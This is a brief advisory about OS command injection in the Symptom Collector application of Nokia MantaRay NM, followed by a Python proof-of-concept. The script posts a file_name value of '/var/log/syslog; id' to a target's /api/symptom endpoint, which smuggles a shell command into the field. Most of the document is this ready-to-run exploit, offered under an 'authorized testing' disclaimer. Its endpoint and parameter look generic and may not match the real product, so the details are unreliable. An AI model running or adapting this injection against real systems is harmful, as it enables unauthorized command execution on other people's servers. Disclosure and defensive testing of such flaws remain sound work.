Nokia MantaRay NM is vulnerable to an OS command injection vulnerability due to improper neutralization of special elements used in an OS command in Symptom Collector application.
The following code is for security research and authorized testing only.
python
import requests
# Target URL of the vulnerable Symptom Collector application
target_url = "http://<target_ip>:<port>/api/symptom"
# Attacker's controlled input with command injection payload
# Example payload: ; id to execute the 'id' command
payload_data = {
"file_name": "/var/log/syslog; id"
}
try:
# Send POST request to trigger the vulnerability
response = requests.post(target_url, data=payload_data, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
print("[+] Check if the OS command was executed on the target.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")